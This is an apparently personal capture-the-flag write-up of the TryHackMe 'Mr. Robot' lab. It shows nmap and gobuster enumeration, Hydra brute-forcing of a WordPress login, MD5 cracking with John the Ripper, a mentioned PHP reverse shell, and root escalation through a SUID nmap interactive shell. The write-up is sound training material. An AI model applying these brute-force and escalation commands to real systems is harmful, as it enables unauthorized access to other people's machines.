Mr. Robot - TryHackMe
INTRO
Room URL: https://tryhackme.com/room/mrrobot
Hello, fellow enthusiasts of the fascinating world of ethical hacking. I want to share with you another machine that provided me with some fun not too long ago. We’re still on TryHackMe, and the machine to access and discover the various flags is called “Mr.Robots”.
ENUMERATION
Necessary info! You’ll notice that the machine’s IP will change during the walkthrough. The journey wasn’t completed all in one day, so the machine’s IP changed.
Let’s start right away with enumeration using perhaps (perhaps?) the most famous tool for remote reconnaissance: nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -sC -sV -p22,80,443 10.10.85.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-12 01:17 CEST
Nmap scan report for 10.10.85.149
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
I found the SSH port closed and the HTTP and HTTPS ports open. It appears that the web server is an Apache server running on Linux(?).
I attempt to gather further information from the server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap --script http-methods -p80,443 10.10.85.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-12 01:25 CEST
Nmap scan report for 10.10.85.149
Host is up (0.047s latency).
PORT STATE SERVICE
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open https
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Nmap done: 1 IP address (1 host up) scanned in 1.83 seconds
1
nmap --script http-robots.txt -p80,443 10.10.85.149
But the results are eye-rolling! Just kidding. We don’t find particularly juicy information. Let’s try visiting the hosted website.
After a series of animations, the loading page appears, and the message that you can see in the screenshot is transcribed. For each chosen command, a video clip starts.
Alright! It’s all very impressive, but we don’t have a solid path yet. When seeking exploitable information for future use, it’s not a bad idea — and certainly not to be underestimated — to explore the page source code…
This time it didn’t work out, but it’s always worth checking.
I had tried to check if the “robots.txt” file was present using nmap, and I didn’t have much success. During enumeration, we have many weapons at our disposal. As much as possible, let’s use them all… even the “water guns.”
What do I mean by water guns? Check it out for yourselves:
1
2
3
4
5
https://10.10.85.149/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
A dictionary and a text file that is nothing more than the first flag.
I download the dictionary. It will certainly be useful.
I will continue using “gobuster” to perform a brute-force attack on the web server’s directories in order to identify points of access to the system or critical information.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
**gobuster dir -u http://10.10.85.149 -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -q**
/sitemap (Status: 200) [Size: 0] -> interesting xml parsing error
/video (Status: 403) [Size: 215]
/images (Status: 403) [Size: 216]
/blog (Status: 403) [Size: 214]
/admin (Status: 200) [Size: 1077]
/audio (Status: 403) [Size: 215]
/intro (Status: 200) [Size: 516314]
/rss (Status: 200) [Size: 807]
/0 (Status: 200) [Size: 8158]
**/wp-content ** (Status: 200) [Size: 0]
/feed (Status: 200) [Size: 807]
/css (Status: 403) [Size: 213]
/login (Status: 200) [Size: 2606]
/image (Status: 200) [Size: 11726]
/atom (Status: 200) [Size: 620]
**/wp-login** (Status: 200) [Size: 2664] -> visible
/license (Status: 200) [Size: 309]
/wp-includes (Status: 403) [Size: 221]
/rss2 (Status: 200) [Size: 807]
/js (Status: 403) [Size: 212]
/Image (Status: 200) [Size: 11809]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41] -> robots.txt file
/page1 (Status: 200) [Size: 1188]
/rdf (Status: 200) [Size: 807]
/%20 (Status: 200) [Size: 1188]
**/wp-admin ** (Status: 200) [Size: 2664]
**/phpmyadmin** (Status: 403) [Size: 94] -> accessible on localhost 127.0.0.1
/0000 (Status: 200) [Size: 8321]
/xmlrpc (Status: 405) [Size: 42]
Gobuster returns some interesting results. For example, it’s immediately clear that there’s a WordPress installation on the server. Just enter the link http://10.10.164.82/wp-login.php to verify this:
I use the “nikto” tool to gather as much information as possible:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
nikto -url http://10.10.164.82
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.10.164.82
+ Target Hostname: 10.10.164.82
+ Target Port: 80
+ Start Time: 2023-10-11 23:41:19 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /L8WEOVz1.cs: Retrieved x-powered-by header: PHP/5.5.29.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html, index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /admin/: This might be interesting.
+ /readme: This might be interesting.
+ /image/: Drupal Link header found with value: <http://10.10.164.82/?p=23>; rel=shortlink. See: https://www.drupal.org/
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ /wp-login/: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found.
+ /wordpress/wp-admin/wp-login.php: Wordpress login found.
+ /blog/wp-login.php: Wordpress login found.
+ /wp-login.php: Wordpress login found.
+ /wordpress/wp-login.php: Wordpress login found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8074 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2023-10-11 23:53:57 (GMT2) (758 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
I visit the link: http://10.10.164.82/wp-links-opml.php…
…and Wordpress version it’s revealed:
I’ve genuinely gathered a substantial amount of information through machine enumeration! I’ve followed the standard practices of a good pentester’s manual. However, the only entry point I’ve found into the machine is the WordPress login page. Wait a moment! They’ve been so kind as to provide us with a dictionary right away… why not use it?
Hydra is one of my favorite tools for username and password brute-forcing. I used it first to find the username and then the password.
Before I use Hydra, I need to understand how to set it up. I know the link to the Wordpress control panel. I use “Burpsuite”, in the Community Edition version as a web application proxy, to intercept my login request.
Under the ‘Proxy’ tab, enable ‘Intercept is on’ to capture the login attempt.
Now I have all the parametri da impostare su ‘Hydra’:
Hydra -L fsocity.dic -p blablabla 10.10.7.76 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.7.76%2Fwp-admin%2F&testcookie=1:Invalid username."
- The “L” flag means that you load a list of username to try from a text file. (lowercase “l” would mean a static username)
- The “p” flag means you give it a static password. (“P” would mean a list of passwords)
- http-post-form represents the type of service
- “/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username” this parameter can be easily obtained using the “BurpSuite” tool.
This is the results:
1
2
3
[80][http-post-form] host: 10.10.7.76 login: **Elxxot** password: blablabla
[80][http-post-form] host: 10.10.7.76 login: **elxxot** password: blablabla
[80][http-post-form] host: 10.10.7.76 login: **ELxxOT** password: blablabla
This tree username is a user candidate.
We run Hydra again, using “Elliot” as the username and the dictionary to crack the password… and it’s magic once again:
[80][http-post-form] host: 10.10.100.135 login: **Elxxot** password: **ERxxxxxx2**
EXPLOITATION
I access in the WordPress Dashboard using the obtained credentials:
Once inside the dashboard, I went to check how many “users” were registered and our role. We found that we are administrators. In addition to us, there’s a user “michxxx4 named Krista Gordon — Email: kgordon@therapist.com.
I don’t know if it will be useful, but a good pentester takes note of everything!
I’m inside the dashboard as an administrator… I can upload php coded to get a reverse shell on the machine:
Having obtained a shell on the machine, the next step is elevating my privileges to those of the user “robot.”:
1
2
3
4
5
6
7
8
9
10
11
12
daemon@linux:/$ cd /home/robot
cd /home/robot
daemon@linux:/home/robot$ ls -al
ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3dxxxxxxxxxxxxxxx6cca67e13b
PRIVILEGE ESCALATION
I use “John The Ripper” to crack the MD5 hash.
john robot_md5.hash --wordlist=fsocity.dic --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-08-14 23:21) 0g/s 2451Kp/s 2451Kc/s 2451KC/s 8output..ABCDEFGHIJKLMNOPQRSTUVWXYZ
Session completed.
1
2
3
4
5
6
7
8
9
10
11
daemon@linux:/home/robot$ su robot
su robot
Password: abcdxxxxxxxxxxxxxxxxxxxxxyz
robot@linux:~$ id
id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
robot@linux:~$ whoami
whoami
robot
robot@linux:~$
cat key-2-of-3.txt
**822c739xxxxxxxxxxxxxxxxxxf959 ->** is the second flag
POST-EXPLOITATION
I need to elevate my privilege to “root”. I use “find” to locate files with the SUID bit enabled for non-root users.
find / -perm +6000 2>/dev/null | grep '/bin/'
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/mail-touchlock
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/screen
/usr/bin/mail-unlock
/usr/bin/mail-lock
/usr/bin/chsh
/usr/bin/crontab
/usr/bin/chfn
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/expiry
/usr/bin/dotlockfile
/usr/bin/sudo
/usr/bin/ssh-agent
/usr/bin/wall
/usr/local/bin/nmap
usr/local/bin/nmap is intriguing.
On the internet, you can easily find instructions on how to use the option to run “nmap” even if you’re not “root.” The interactive mode of nmap, available in versions 2.02 to 5.21, can be used to execute shell commands.
1
2
3
4
robot@linux:/$ /usr/local/bin/nmap --version
/usr/local/bin/nmap --version
nmap version 3.81 ( http://www.insecure.org/nmap/ )
Fantastic! I can use interactive mode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
robot@linux:/$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# whoami
whoami
root
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cd /root
# ls -al
ls -al
total 32
drwx------ 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
-rw------- 1 root root 4058 Nov 14 2015 .bash_history
-rw-r--r-- 1 root root 3274 Sep 16 2015 .bashrc
drwx------ 2 root root 4096 Nov 13 2015 .cache
-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
-rw------- 1 root root 1024 Sep 16 2015 .rnd
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddxxxxxxxxxxxxxxxxxxx0b4e4
Having obtained the three flags, the challenge comes to an end. It’s not a difficult challenge, quite enjoyable, but most importantly, it allows me to share my passion for ethical hacking with all those who will read it. Until the next challenge! Bye